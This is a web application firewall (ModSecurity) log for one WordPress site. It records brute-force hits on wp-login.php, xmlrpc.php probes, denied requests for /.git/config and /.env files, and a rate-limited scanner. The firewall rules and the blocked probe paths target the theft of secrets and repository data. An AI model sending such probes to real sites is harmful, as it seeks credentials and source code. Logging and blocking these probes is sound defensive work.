[Wed Apr 15 09:02:30.361979 2026] [:error] [pid 50234:tid 50251] [client 45.146.54.45:36947] [client 45.146.54.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7jptr0cDjH19-BoGyb0AAAAQ8"]
[Wed Apr 15 09:08:25.929481 2026] [:error] [pid 30554:tid 30596] [client 103.70.199.62:46334] [client 103.70.199.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.199.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad7lCV6Jrdy3caXvUkuo4wAAAEk"]
[Wed Apr 15 09:08:36.570735 2026] [:error] [pid 30555:tid 30633] [client 103.70.199.62:19223] [client 103.70.199.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.199.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad7lFFTZEITMpQMsOni2HQAAAJM"]
[Wed Apr 15 09:08:47.396393 2026] [:error] [pid 51186:tid 51189] [client 103.70.199.62:36325] [client 103.70.199.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.199.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad7lH1fx1CjK_ZPfY1Q78QAAAUE"]
[Wed Apr 15 09:08:58.187416 2026] [:error] [pid 30554:tid 30587] [client 103.70.199.62:34403] [client 103.70.199.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.199.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad7lKl6Jrdy3caXvUkupCAAAAEA"]
[Wed Apr 15 09:09:09.039341 2026] [:error] [pid 30644:tid 30669] [client 103.70.199.62:1255] [client 103.70.199.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.199.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad7lNa8vuyJ0N41zsM_43gAAANM"]
[Wed Apr 15 09:12:40.242920 2026] [:error] [pid 51186:tid 51204] [client 45.146.54.48:49979] [client 45.146.54.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7mCFfx1CjK_ZPfY1Q-sgAAAVA"]
[Wed Apr 15 09:12:40.245985 2026] [:error] [pid 50234:tid 50248] [client 45.146.54.43:37753] [client 45.146.54.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7mCNr0cDjH19-BoGyfrAAAAQw"]
[Wed Apr 15 09:22:40.435269 2026] [:error] [pid 30644:tid 30666] [client 45.146.54.74:62239] [client 45.146.54.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7oYK8vuyJ0N41zsM_9PAAAANA"]
[Wed Apr 15 09:22:40.435230 2026] [:error] [pid 50234:tid 50238] [client 45.146.54.57:46721] [client 45.146.54.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7oYNr0cDjH19-BoGykVgAAAQI"]
[Wed Apr 15 09:32:37.154409 2026] [:error] [pid 30554:tid 30595] [client 45.146.54.72:30967] [client 45.146.54.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7qtV6Jrdy3caXvUkus2QAAAEg"]
[Wed Apr 15 09:32:37.154701 2026] [:error] [pid 30644:tid 30665] [client 45.146.54.59:47811] [client 45.146.54.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7qta8vuyJ0N41zsM8AAAAAAM8"]
[Wed Apr 15 09:42:37.313305 2026] [:error] [pid 50234:tid 50255] [client 45.146.54.77:22909] [client 45.146.54.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7tDdr0cDjH19-BoGyq6QAAARM"]
[Wed Apr 15 09:42:37.313741 2026] [:error] [pid 30553:tid 30564] [client 45.146.54.50:40951] [client 45.146.54.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7tDaWezn1lK_o0Brrr7QAAAAU"]
[Wed Apr 15 09:52:19.296160 2026] [:error] [pid 30553:tid 30559] [client 216.73.163.60:52289] [client 216.73.163.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7vU6Wezn1lK_o0BrrtHwAAAAA"]
[Wed Apr 15 09:52:19.296388 2026] [:error] [pid 30554:tid 30601] [client 216.73.163.40:28553] [client 216.73.163.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7vU16Jrdy3caXvUkuwTgAAAE4"]
[Wed Apr 15 10:02:22.511938 2026] [:error] [pid 51186:tid 51203] [client 216.73.163.38:55367] [client 216.73.163.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7xrlfx1CjK_ZPfY1RWAAAAAU8"]
[Wed Apr 15 10:02:22.511942 2026] [:error] [pid 50234:tid 50240] [client 216.73.163.51:40633] [client 216.73.163.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.51, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7xrtr0cDjH19-BoGyw_AAAAQQ"]
[Wed Apr 15 10:12:17.192670 2026] [:error] [pid 50234:tid 50249] [client 216.73.163.39:24355] [client 216.73.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad70Adr0cDjH19-BoGyz4QAAAQ0"]
[Wed Apr 15 10:12:17.198481 2026] [:error] [pid 50234:tid 50248] [client 216.73.163.53:38755] [client 216.73.163.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad70Adr0cDjH19-BoGyz4gAAAQw"]
[Wed Apr 15 10:22:13.718681 2026] [:error] [pid 51186:tid 51208] [client 216.73.163.36:61015] [client 216.73.163.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad72VVfx1CjK_ZPfY1RebAAAAVQ"]
[Wed Apr 15 10:22:13.719957 2026] [:error] [pid 51186:tid 51207] [client 45.146.54.113:50867] [client 45.146.54.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad72VVfx1CjK_ZPfY1RebQAAAVM"]
[Wed Apr 15 10:32:04.375332 2026] [:error] [pid 50234:tid 50248] [client 45.131.194.118:60071] [client 45.131.194.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad74pNr0cDjH19-BoGy5oAAAAQw"]
[Wed Apr 15 10:32:04.375343 2026] [:error] [pid 50234:tid 50244] [client 216.73.163.67:46843] [client 216.73.163.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad74pNr0cDjH19-BoGy5nwAAAQg"]
[Wed Apr 15 10:41:57.937460 2026] [:error] [pid 30555:tid 30628] [client 216.73.163.37:65101] [client 216.73.163.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad769VTZEITMpQMsOnjLkAAAAI4"]
[Wed Apr 15 10:41:57.976564 2026] [:error] [pid 30555:tid 30626] [client 216.73.163.62:32569] [client 216.73.163.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad769VTZEITMpQMsOnjLkQAAAIw"]
[Wed Apr 15 10:51:54.740041 2026] [:error] [pid 51186:tid 51195] [client 216.73.163.71:23483] [client 216.73.163.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad79Slfx1CjK_ZPfY1RrowAAAUc"]
[Wed Apr 15 10:51:54.746570 2026] [:error] [pid 30554:tid 30589] [client 216.73.163.54:52473] [client 216.73.163.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.54, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad79Sl6Jrdy3caXvUku5gAAAAEI"]
[Wed Apr 15 11:01:48.710710 2026] [:error] [pid 30555:tid 30637] [client 216.73.163.69:35059] [client 216.73.163.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7_nFTZEITMpQMsOnjPrwAAAJc"]
[Wed Apr 15 11:01:48.711105 2026] [:error] [pid 30553:tid 30565] [client 45.146.54.114:52803] [client 45.146.54.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad7_nKWezn1lK_o0Brr2wgAAAAY"]
[Wed Apr 15 11:11:49.792538 2026] [:error] [pid 30554:tid 30587] [client 216.73.163.69:33083] [client 216.73.163.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad8B9V6Jrdy3caXvUku9HwAAAEA"]
[Wed Apr 15 11:11:49.793185 2026] [:error] [pid 30644:tid 30664] [client 216.73.163.70:23057] [client 216.73.163.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad8B9a8vuyJ0N41zsM8Y5gAAAM4"]
[Wed Apr 15 11:21:57.206676 2026] [:error] [pid 30644:tid 30651] [client 216.73.163.72:39375] [client 216.73.163.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad8EVa8vuyJ0N41zsM8cJwAAAME"]
[Wed Apr 15 11:21:57.208242 2026] [:error] [pid 30553:tid 30583] [client 45.146.54.107:50023] [client 45.146.54.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad8EVaWezn1lK_o0Brr6agAAABg"]
[Wed Apr 15 11:31:56.510275 2026] [:error] [pid 50234:tid 50256] [client 216.73.163.39:21551] [client 216.73.163.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad8GrNr0cDjH19-BoGzM7gAAARQ"]
[Wed Apr 15 11:31:56.514637 2026] [:error] [pid 30555:tid 30622] [client 216.73.163.60:65361] [client 216.73.163.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad8GrFTZEITMpQMsOnjWOAAAAIg"]
[Wed Apr 15 12:23:21.978463 2026] [:error] [pid 30644:tid 30661] [client 130.12.180.144:34724] [client 130.12.180.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/HEAD"] [unique_id "ad8Sua8vuyJ0N41zsM8q7wAAAMs"]
[Wed Apr 15 12:23:23.872516 2026] [:error] [pid 51186:tid 51192] [client 130.12.180.144:34736] [client 130.12.180.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "ad8Su1fx1CjK_ZPfY1SY7wAAAUQ"]
[Wed Apr 15 12:23:24.978041 2026] [:error] [pid 30644:tid 30653] [client 130.12.180.144:35172] [client 130.12.180.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/HEAD"] [unique_id "ad8SvK8vuyJ0N41zsM8q9QAAAMM"]
[Wed Apr 15 12:23:26.083850 2026] [:error] [pid 30555:tid 30635] [client 130.12.180.144:6296] [client 130.12.180.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "ad8SvlTZEITMpQMsOnjfqQAAAJU"]
[Wed Apr 15 14:01:22.080121 2026] [:error] [pid 11385:tid 11470] [client 125.94.144.102:60159] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad8psh_mZoXMMCiUoKUdvQAAANU"]
[Wed Apr 15 14:26:39.495996 2026] [:error] [pid 12433:tid 12435] [client 43.159.135.203:32974] [client 43.159.135.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad8vn7wxDHWF005pP_59oQAAAQA"]
[Wed Apr 15 17:47:07.257817 2026] [:error] [pid 11383:tid 11405] [client 8.213.218.53:53258] [client 8.213.218.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "ad9emzOMRk2pAgm2-j7lVgAAAAo"]
[Wed Apr 15 17:47:11.405912 2026] [:error] [pid 11384:tid 11442] [client 8.213.218.53:53520] [client 8.213.218.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "ad9en3Ohpt4MrQIXF7Cl1AAAAFQ"]
[Wed Apr 15 19:13:21.222855 2026] [:error] [pid 31053:tid 31058] [client 43.153.135.208:49514] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad9y0RcEkLCmvF0fjDepEgAAAII"]
[Wed Apr 15 21:06:07.175263 2026] [:error] [pid 37370:tid 37388] [client 122.2.241.223:49604] [client 122.2.241.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.2.241.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad-NP3g-gnM2Ga0cGABN8QAAARA"]
[Wed Apr 15 21:14:19.201606 2026] [:error] [pid 31053:tid 31071] [client 51.75.119.112:56960] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ad-PKxcEkLCmvF0fjDflIwAAAI8"]
[Wed Apr 15 21:14:21.088583 2026] [:error] [pid 37370:tid 37383] [client 51.75.119.112:60060] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ad-PLXg-gnM2Ga0cGABT3wAAAQs"]
[Wed Apr 15 21:14:23.130433 2026] [:error] [pid 37370:tid 37373] [client 51.75.119.112:60468] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ad-PL3g-gnM2Ga0cGABT8QAAAQE"]
[Wed Apr 15 21:14:24.961358 2026] [:error] [pid 30957:tid 31000] [client 51.75.119.112:60480] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ad-PMH5gwVEVXHfVSiqR2AAAAEs"]
[Wed Apr 15 21:14:26.962143 2026] [:error] [pid 30958:tid 31039] [client 51.75.119.112:60488] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ad-PMseG3wSKTO7NWFGzKgAAANc"]
[Wed Apr 15 21:14:28.902018 2026] [:error] [pid 31053:tid 31073] [client 51.75.119.112:60490] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ad-PNBcEkLCmvF0fjDflLQAAAJE"]
[Wed Apr 15 21:14:31.007358 2026] [:error] [pid 30958:tid 31028] [client 51.75.119.112:60494] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ad-PN8eG3wSKTO7NWFGzNQAAAMw"]
[Wed Apr 15 21:14:32.905037 2026] [:error] [pid 30956:tid 30963] [client 51.75.119.112:39022] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ad-POEBGUpjaWntNYq19kQAAAAM"]
[Wed Apr 15 21:14:34.993093 2026] [:error] [pid 31053:tid 31060] [client 51.75.119.112:39024] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ad-POhcEkLCmvF0fjDflOQAAAIQ"]
[Wed Apr 15 21:14:36.946299 2026] [:error] [pid 30957:tid 30990] [client 51.75.119.112:39038] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ad-PPH5gwVEVXHfVSiqR7QAAAEE"]
[Wed Apr 15 21:14:38.924457 2026] [:error] [pid 37370:tid 37390] [client 51.75.119.112:39044] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ad-PPng-gnM2Ga0cGABUTwAAARI"]
